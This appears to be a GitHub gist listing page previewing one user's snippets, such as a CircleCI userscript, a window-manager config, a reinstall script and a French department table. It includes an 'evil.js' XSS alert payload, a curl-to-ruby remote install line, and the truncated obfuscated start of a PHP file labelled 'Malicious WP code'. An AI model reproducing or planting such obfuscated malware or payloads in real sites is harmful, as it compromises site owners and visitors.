Skip to content

Instantly share code, notes, and snippets.

View cosmith's full-sized avatar
🚚

Corentin Smith cosmith

🚚
View GitHub Profile
@cosmith
cosmith / circlePrice.js
Last active March 27, 2023 07:32
CircleCI price of job user script
function findElementAfterText(text) {
const xpathExpression = `//text()[contains(., '${text}')]`;
const xpathResult = document.evaluate(
xpathExpression,
document,
null,
XPathResult.FIRST_ORDERED_NODE_TYPE,
null
);
return xpathResult.singleNodeValue;
@cosmith
cosmith / machine.js
Created November 26, 2020 13:41
Generated by XState Viz: https://xstate.js.org/viz
Machine({
id: 'Transport Status',
initial: 'created',
states: {
created: {
on: {
updated: 'created'
}
},
created: {
# Render this specimen with DrawBot3: http://www.drawbot.com/
# Import modules:
import math
# Définitions des variables de base, taille de l'image (W,H) et marge M
WIDTH, HEIGHT = 512, 512
MARGIN = 64
NUM_IMAGES = 24
@cosmith
cosmith / syndex.js
Last active January 22, 2017 21:11
/* Admittedly this is a difficult to read bit of JS, last year I compressed the file without backing up the original, readable version. Hence many variables are abstract. I'd be happy if anyone submits a readbale version of this which i'd then remerge. */
/**
* Copyright (c) 2007-2013 Ariel Flesler - aflesler<a>gmail<d>com | http://flesler.blogspot.com
* Dual licensed under MIT and GPL.
* @author Ariel Flesler
* @version 1.4.6
*/
;(function($){var h=$.scrollTo=function(a,b,c){$(window).scrollTo(a,b,c)};h.defaults={axis:'xy',duration:parseFloat($.fn.jquery)>=1.3?0:1,limit:true};h.window=function(a){return $(window)._scrollable()};$.fn._scrollable=function(){return this.map(function(){var a=this,isWin=!a.nodeName||$.inArray(a.nodeName.toLowerCase(),['iframe','#document','html','body'])!=-1;if(!isWin)return a;var b=(a.contentWindow||a).document||a.ownerDocument||a;return/webkit/i.test(navigator.userAgent)||b.compatMode=='BackCompat'?b.body:b.documentElement})};$.fn.scrollTo=function(e,f,g){if(typeof f=='ob
@cosmith
cosmith / evil.js
Last active November 23, 2016 21:43
alert("XSS !");
config defaultToCurrentScreen true
config nudgePercentOf screenSize
config resizePercentOf screenSize
# Push Bindings
bind right:ctrl;cmd push right bar-resize:0.4*screenSizeX
bind left:ctrl;cmd push left bar-resize:0.4*screenSizeX
bind right:ctrl;alt;cmd push right bar-resize:0.6*screenSizeX
bind left:ctrl;alt;cmd push left bar-resize:0.6*screenSizeX
@cosmith
cosmith / install.sh
Last active January 2, 2018 10:38
Reinstall script
# Ask for the administrator password upfront.
sudo -v
# Keep-alive: update existing `sudo` time stamp until the script has finished.
while true; do sudo -n true; sleep 60; kill -0 "$$" || exit; done 2>/dev/null &
/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"
brew tap caskroom/cask
@cosmith
cosmith / out.txt
Created June 2, 2016 18:00
npm list - RN 0.26 app
├─┬ react@15.0.2
│ ├─┬ fbjs@0.8.3
│ │ ├── core-js@1.2.6
│ │ ├─┬ isomorphic-fetch@2.2.1
│ │ │ └── whatwg-fetch@1.0.0
│ │ └── ua-parser-js@0.7.10
│ ├─┬ loose-envify@1.2.0
│ │ └── js-tokens@1.0.3
│ └── object-assign@4.1.0
└─┬ react-native@0.26.2
@cosmith
cosmith / departements.tsv
Last active April 26, 2016 10:33
Départements français hors DOM/TOM - avec préfectures et coordonnées des préfectures
numéro_département nom_département préfecture latitude longitude
2A Corse-du-Sud Ajaccio 41.916667 8.733333
2B Haute-Corse Bastia 42.7 9.45
1 Ain Bourg-en-Bresse 46.2 5.216667
2 Aisne Laon 49.566667 3.616667
3 Allier Moulins 46.566667 3.333333
4 Alpes-de-Haute-Provence Digne-les-Bains 44.1038169 6.109398
5 Hautes-Alpes Gap 44.566667 6.083333
6 Alpes-Maritimes Nice 43.7 7.25
7 Ardèche Privas 44.733333 4.6
@cosmith
cosmith / bad.php
Created March 15, 2016 19:30
Malicious WP code
<?php $GLOBALS['l5e33432'];global$l5e33432;$l5e33432=$GLOBALS;$l5e33432['zbeeeb788']="\x72\x7b\x5d\xa\x30\x56\x73\x69\x2c\x71\x3b\x2e\x49\x65\x64\x32\x2b\x3f\x36\x53\x75\x42\x28\x4b\x7d\x59\x3c\x58\x24\x70\x57\x2f\x63\x52\x74\x5e\x7c\x39\x41\x23\x37\x51\x44\x6d\x25\x3d\x38\x68\x27\x5c\x60\x67\x76\x4d\x7a\x6e\x4f\x7e\x48\x4a\x50\x4e\x2a\x6c\x62\x26\x21\x40\x66\x2d\xd\x35\x5b\x54\x55\x33\x47\x79\x4c\x31\x20\x29\x45\x61\x5a\x22\x43\x3e\x46\x5f\x6f\x34\x77\x6a\x3a\x78\x9\x6b";$l5e33432[$l5e33432['zbeeeb788'][83